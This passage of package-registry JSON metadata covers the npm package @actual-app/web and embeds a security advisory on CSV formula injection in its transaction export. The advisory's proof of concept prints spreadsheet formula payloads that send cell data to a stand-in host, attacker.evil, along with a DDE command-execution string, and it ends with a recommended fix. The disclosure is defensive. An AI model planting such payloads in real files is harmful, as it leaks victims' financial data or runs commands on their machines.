.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.4.0/manifests"},{"name":"v24.3.0","sha":"9fca85209f8bfab3a068d63f11e36fe011299a58","kind":"commit","published_at":"2024-03-03T17:05:39.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.3.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.3.0/manifests"},{"name":"v24.2.0","sha":"d8639a2a71158a4264e59f2fd8d9b736378814f7","kind":"commit","published_at":"2024-02-02T19:20:53.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.2.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.2.0/manifests"},{"name":"v24.1.0","sha":"02aff1acbe27b0fd4749f45bb8bccbcefd83994a","kind":"commit","published_at":"2024-01-06T09:56:10.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v24.1.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v24.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v24.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v24.1.0/manifests"},{"name":"v23.12.0","sha":"da03acc394ca95048ef42a8aaa19668a8413a267","kind":"commit","published_at":"2023-12-02T19:26:02.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.12.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.12.0/manifests"},{"name":"v23.11.0","sha":"39fa9f209798796c38dc1c8a4bc5c87814bed7ef","kind":"commit","published_at":"2023-11-04T09:27:13.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.11.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.11.0/manifests"},{"name":"v23.10.0","sha":"510f635bbcd8dbf5ef7d3a265c2ca43953593a61","kind":"commit","published_at":"2023-10-04T16:33:51.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.10.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.10.0/manifests"},{"name":"v23.9.0","sha":"ad4c383adfd5472ade44cf85946c3c0bb2279b6f","kind":"commit","published_at":"2023-09-03T14:54:28.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.9.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.9.0/manifests"},{"name":"v23.8.1","sha":"4a9b30d4d540d016fde27014c38a14087596213d","kind":"commit","published_at":"2023-08-07T17:53:22.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.8.1","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.8.1/manifests"},{"name":"v23.8.0","sha":"5f9292019567b5a313a84355b13d49a94cfed1ea","kind":"commit","published_at":"2023-08-02T19:33:20.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.8.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.8.0/manifests"},{"name":"v23.7.2","sha":"954309d034b401adf9658ec0e7c4e90ba13f18e9","kind":"commit","published_at":"2023-07-09T15:41:11.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.7.2","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.7.2/manifests"},{"name":"v23.7.1","sha":"02b1e03611550393a5dd6c280c7d50e4d5736dd7","kind":"commit","published_at":"2023-07-05T20:38:05.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.7.1","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.7.1/manifests"},{"name":"v23.7.0","sha":"20825d66fe7ea6ef283d236b18207f0df3345862","kind":"commit","published_at":"2023-07-04T20:47:36.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.7.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.7.0/manifests"},{"name":"v23.6.0","sha":"a0dfb8afbdfe490bd919ab032b705b340bf8372c","kind":"commit","published_at":"2023-06-01T19:58:42.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.6.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.6.0/manifests"},{"name":"v23.5.0","sha":"f913d99c9f4b742739badf40b606fc8b416ebfbc","kind":"commit","published_at":"2023-05-04T17:23:08.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.5.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.5.0/manifests"},{"name":"v23.4.2","sha":"38d2e69858ff7a1576fb1f1f2f9719898a160217","kind":"commit","published_at":"2023-04-22T14:27:58.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.4.2","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.4.2/manifests"},{"name":"v23.4.1","sha":"b89b74c3faf22afedaf24ebc70cb6c0351b52bba","kind":"commit","published_at":"2023-04-16T17:00:13.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.4.1","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.4.1/manifests"},{"name":"v23.4.0","sha":"f9a1b094cc8b5a6c62d42210f8acfb0d35e101be","kind":"commit","published_at":"2023-04-06T21:04:12.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.4.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.4.0/manifests"},{"name":"v23.3.2","sha":"ec89279509a0c05e23ba917639dc626d6f5f983c","kind":"commit","published_at":"2023-03-13T18:39:34.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.3.2","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.3.2/manifests"},{"name":"v23.3.0","sha":"0bae379c17cdfe997ab30a33f78ea2a42315e859","kind":"commit","published_at":"2023-03-09T19:31:00.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.3.0","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.3.0/manifests"},{"name":"v23.2.9","sha":"f75ff99114e93502693396ca1e3d1bc4a79ea723","kind":"commit","published_at":"2023-02-09T20:28:54.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.2.9","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.2.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.2.9/manifests"},{"name":"v23.2.5","sha":"ec3fa356a3489fcf89277e85d0b317c581ca6562","kind":"commit","published_at":"2023-02-05T17:15:55.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.2.5","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.2.5/manifests"},{"name":"v23.1.12","sha":"4b90e371869120a43adb9ef378b6d72c3691eb81","kind":"tag","published_at":"2023-01-30T21:06:41.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v23.1.12","html_url":"https://github.com/actualbudget/actual/releases/tag/v23.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v23.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v23.1.12/manifests"},{"name":"v22.12.9","sha":"3edf94714540837c67e6ac521efef3eed5e15bc6","kind":"tag","published_at":"2022-12-30T17:31:32.000Z","download_url":"https://codeload.github.com/actualbudget/actual/tar.gz/v22.12.9","html_url":"https://github.com/actualbudget/actual/releases/tag/v22.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/actualbudget/actual@v22.12.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v22.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/tags/v22.12.9/manifests"}]},"repo_metadata_updated_at":"2026-10-12T04:29:56.896Z","dependent_packages_count":2,"downloads":18477,"downloads_period":"last-month","dependent_repos_count":18,"rankings":{"downloads":3.1226079264255775,"dependent_repos_count":2.862502964679011,"dependent_packages_count":20.967833947506787,"stargazers_count":null,"forks_count":null,"docker_downloads_count":1.248882818164955,"average":7.050456914194083},"purl":"pkg:npm/%40actual-app/web","advisories":[{"uuid":"GSA_kwCzR0hTQS14cWptLTI3cGMtcnZ3bc4ABZRl","url":"https://github.com/advisories/GHSA-xqjm-27pc-rvwm","title":"@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields","description":"## Summary\n\n`exportToCSV` and `exportQueryToCSV` in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` pass user-controlled `Payee`, `Notes`, `Account`, and `Category` strings to `csv-stringify` with no `cast` callback and no formula-prefix neutralization. Strings that begin with `=`, `+`, `-`, `@`, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. `=HYPERLINK(\"http://attacker/?leak=\"\u0026B2,\"Bank refund\")` is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. `=WEBSERVICE`/`=IMPORTXML` provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.\n\n## Details\n\nSink — `packages/loot-core/src/server/transactions/export/export-to-csv.ts:56`:\n\n```ts\nreturn csvStringify(transactionsForExport, { header: true });\n```\n\nand the same call again at `export-to-csv.ts:131` for `exportQueryToCSV`. `csv-stringify` v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — `grep` for `csvStringify` finds exactly one source file across the monorepo.\n\nSource of attacker-controlled `Payee`/`Notes`:\n\n- `packages/loot-core/src/server/transactions/import/parse-file.ts:77` dispatches uploaded files to `parseCSV` (`:109`), `parseOFX` (`:200`), `parseQIF` (`:158`), `parseCAMT` (`:250`). None of them strip or escape formula prefixes from `payee_name`/`imported_payee`/`notes`.\n- For OFX, `mapOfxTransaction` in `packages/loot-core/src/server/transactions/import/ofx2json.ts` only runs `html2Plain` (HTML entity decoding) on the NAME field — `=`, `+`, `-`, `@`, `\\t` are untouched.\n- `sync.normalizeTransactions` (`packages/loot-core/src/server/transactions/sync.ts`) applies `title()` casing, which only mutates letters via `String.toLowerCase`; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (`=hyperlink(...)` parses identically to `=HYPERLINK(...)`).\n- The payee can also be entered directly through the UI or set via the `@actual-app/api`'s payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload.\n\nVerification that `csv-stringify` does not neutralize formulas:\n\n```\n$ node -e \"const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\\\"http://x/?\\\"\u0026B2,\\\"refund\\\")'}],{header:true}))\"\nPayee\n\"=HYPERLINK(\"\"http://x/?\"\"\u0026B2,\"\"refund\"\")\"\n```\n\nThe double-quote escaping is intact, but the leading `=` is not prefixed with `'` or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.\n\n## PoC\n\n1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into \"Import file\":\n\n```\nDate,Payee,Amount\n2026-01-01,\"=HYPERLINK(\"\"http://attacker.evil/leak?d=\"\"\u0026B2\u0026C2,\"\"Bank refund details\"\")\",100.00\n2026-01-02,\"@SUM(1+1)*cmd|'/c calc'!A0\",50.00\n2026-01-03,\"+1+1\",-25.00\n2026-01-04,\"=WEBSERVICE(\"\"http://attacker.evil/?d=\"\"\u0026B2)\",10.00\n```\n\n2. Victim imports through Account → Import file. `parseFile` (`parse-file.ts:77`) → `parseCSV`/`parseOFX`/`parseQIF`/`parseCAMT` returns rows with the formula strings preserved as `payee_name`. `sync.normalizeTransactions` does not strip the prefix characters.\n3. Payees are persisted into the `payees` table verbatim.\n4. Some time later the victim runs Account → menu → Export. `transactions-export-query` invokes `exportQueryToCSV` (`export-to-csv.ts:131`).\n5. The exported file looks like (verified output shape from `csvStringify`):\n\n```\nAccount,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared\nChecking,2026-01-01,\"=HYPERLINK(\"\"http://attacker.evil/leak?d=\"\"\u0026B2\u0026C2,\"\"Bank refund details\"\")\",,,,100.00,0,Not cleared\nChecking,2026-01-02,@SUM(1+1)*cmd|'/c calc'!A0,,,,50.00,0,Not cleared\nChecking,2026-01-03,+1+1,,,,-25.00,0,Not cleared\nChecking,2026-01-04,\"=WEBSERVICE(\"\"http://attacker.evil/?d=\"\"\u0026B2)\",,,,10.00,0,Not cleared\n```\n\n6. Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. `=HYPERLINK(...)` renders as a clickable link that exfiltrates adjacent cell values to attacker on click; `=WEBSERVICE`/`=IMPORTXML` (Sheets/LibreOffice) fire automatically; legacy `=cmd|...` DDE may execute on unpatched Excel.\n\n## Impact\n\n- **Confidentiality**: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through `=HYPERLINK` clicks or auto-firing `=WEBSERVICE`/`=IMPORTXML`.\n- **Integrity**: Spreadsheet recipients (accountants, tax preparers) see attacker-chosen display values where they expected raw payee names, enabling fraud (e.g., forged \"Refund\" line items linking to phishing).\n- **Reach**: Exports from Actual Budget are commonly shared with third parties (accountants, tax software, household members). One malicious imported statement contaminates every future export of that budget.\n- **Note on AC:H**: requires victim-driven import → export → spreadsheet open. Modern Excel disables DDE by default, narrowing the RCE pathway, but `=HYPERLINK` exfil is universal and silent.\n\n## Recommended Fix\n\nPass a `cast.string` callback to `csv-stringify` that prefixes any formula-trigger string with a single quote, the OWASP-recommended neutralization. Apply at both call sites in `packages/loot-core/src/server/transactions/export/export-to-csv.ts`:\n\n```ts\nimport { stringify as csvStringify } from 'csv-stringify/sync';\n\nconst FORMULA_PREFIX = /^[=+\\-@\\t\\r]/;\n\nfunction neutralizeFormula(value: string): string {\n  return FORMULA_PREFIX.test(value) ? `'${value}` : value;\n}\n\nconst csvOptions = {\n  header: true,\n  cast: {\n    string: (value: string) =\u003e neutralizeFormula(value),\n  },\n} as const;\n\n// export-to-csv.ts:56\nreturn csvStringify(transactionsForExport, csvOptions);\n\n// export-to-csv.ts:131\nreturn csvStringify(transactionsForExport, csvOptions);\n```\n\nAlternative defenses to consider in addition:\n- Strip/neutralize formula prefixes on import in `parse-file.ts` for `payee_name`/`notes` so the database never contains formula-shaped strings (defense in depth — protects any future export consumers).\n- Add a regression unit test that asserts every CSV cell starting with `=`, `+`, `-`, `@`, `\\t`, or `\\r` is prefixed with `'`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-22T23:48:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/actualbudget/actual/security/advisories/GHSA-xqjm-27pc-rvwm","https://github.com/advisories/GHSA-xqjm-27pc-rvwm"],"source_kind":"github","identifiers":["GHSA-xqjm-27pc-rvwm","CVE-2026-50179"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T00:00:09.088Z","updated_at":"2026-10-12T04:03:44.678Z","epss_percentage":0.00286,"epss_percentile":0.18748,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cWptLTI3cGMtcnZ3bc4ABZRl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14cWptLTI3cGMtcnZ3bc4ABZRl","packages":[{"ecosystem":"npm","package_name":"@actual-app/web","versions":[{"first_patched_version":"26.6.0","vulnerable_version_range":"\u003c 26.6.0"}],"purl":"pkg:npm/%40actual-app%2Fweb"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cWptLTI3cGMtcnZ3bc4ABZRl/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@actual-app/web","docker_dependents_count":3,"docker_downloads_count":101,"usage_url":"https://repos.ecosyste.ms/usage/npm/@actual-app/web","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@actual-app/web/dependencies","status":null,"funding_links":["https://opencollective.com/actual","https://github.com/sponsors/actualbudget"],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-12T02:00:26.870Z","issues_count":2217,"pull_requests_count":4263,"avg_time_to_close_issue":2488552.9921304104,"avg_time_to_close_pull_request":873399.7114861187,"issues_closed_count":1779,"pull_requests_closed_count":3674,"pull_request_authors_count":497,"issue_authors_count":1312,"avg_comments_per_issue":2.8921966621560666,"avg_comments_per_pull_request":5.476190476190476,"merged_pull_requests_count":3027,"bot_issues_count":12,"bot_pull_requests_count":76,"past_year_issues_count":169,"past_year_pull_requests_count":381,"past_year_avg_time_to_close_issue":2064794.9285714286,"past_year_avg_time_to_close_pull_request":835663.490990991,"past_year_issues_closed_count":112,"past_year_pull_requests_closed_count":222,"past_year_pull_request_authors_count":164,"past_year_issue_authors_count":145,"past_year_avg_comments_per_issue":6.254437869822485,"past_year_avg_comments_per_pull_request":6.7191601049868765,"past_year_bot_issues_count":3,"past_year_bot_pull_requests_count":13,"past_year_merged_pull_requests_count":132,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/actualbudget%2Factual/issues","maintainers":[{"login":"MatissJanis","count":703,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/MatissJanis"},{"login":"youngcw","count":111,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/youngcw"},{"login":"matt-fidd","count":110,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/matt-fidd"},{"login":"jfdoming","count":68,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jfdoming"},{"login":"MikesGlitch","count":41,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/MikesGlitch"},{"login":"UnderKoen","count":36,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/UnderKoen"},{"login":"j-f1","count":24,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/j-f1"},{"login":"trevdor","count":11,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/trevdor"},{"login":"joel-jeremy","count":10,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/joel-jeremy"},{"login":"tim-smart","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tim-smart"},{"login":"lelemm","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/lelemm"},{"login":"KaruzG","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/KaruzG"},{"login":"gianksp","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gianksp"},{"login":"manadart","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/manadart"},{"login":"dylansnyk","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dylansnyk"},{"login":"ShadowySpirits","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ShadowySpirits"}],"active_maintainers":[{"login":"matt-fidd","count":45,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/matt-fidd"},{"login":"MatissJanis","count":44,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/MatissJanis"},{"login":"MikesGlitch","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/MikesGlitch"},{"login":"youngcw","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/youngcw"},{"login":"tim-smart","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tim-smart"},{"login":"jfdoming","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jfdoming"},{"login":"joel-jeremy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/joel-jeremy"},{"login":"lelemm","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/lelemm"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@actual-app%2Fweb/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@actual-app%2Fweb/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@actual-app%2Fweb/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@actual-app%2Fweb/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@actual-app%2Fweb/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@actual-app%2Fweb/codemeta","maintainers":[{"uuid":"matissjanis","login":"matissjanis","name":null,"email":"npmjs.org@mja.lv","url":null,"packages_count":13,"html_url":"https://www.npmjs.com/~matissjanis","role":null,"created_at":"2023-01-15T14:06:55.457Z","updated_at":"2023-01-15T14:06:55.457Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/matissjanis/packages"},{"uuid":"matt-fidd","login":"matt-fidd","name":null,"email":"npm@m.fiddaman.uk","url":null,"packages_count":11,"html_url":"https://www.npmjs.com/~matt-fidd","role":null,"created_at":"2024-12-05T17:50:13.981Z","updated_at":"2024-12-05T17:50:13.981Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/matt-fidd/packages"},{"uuid":"joeljeremy","login":"joeljeremy","name":null,"email":"joeljeremy.marquez@gmail.com","url":null,"packages_count":8,"html_url":"https://www.npmjs.com/~joeljeremy","role":null,"created_at":"2024-05-03T21:11:20.139Z","updated_at":"2024-05-03T21:11:20.139Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/joeljeremy/packages"},{"uuid":"dolphish","login":"dolphish","name":null,"email":"julian.dominguezschatz@gmail.com","url":null,"packages_count":8,"html_url":"https://www.npmjs.com/~dolphish","role":null,"created_at":"2024-11-02T20:56:14.187Z","updated_at":"2024-11-02T20:56:14.187Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/dolphish/packages"},{"uuid":"actualbudget","login":"actualbudget","name":null,"email":"dev@actualbudget.org","url":null,"packages_count":8,"html_url":"https://www.npmjs.com/~actualbudget","role":null,"created_at":"2025-05-03T17:50:13.286Z","updated_at":"2025-05-03T17:50:13.286Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/actualbudget/packages"}]}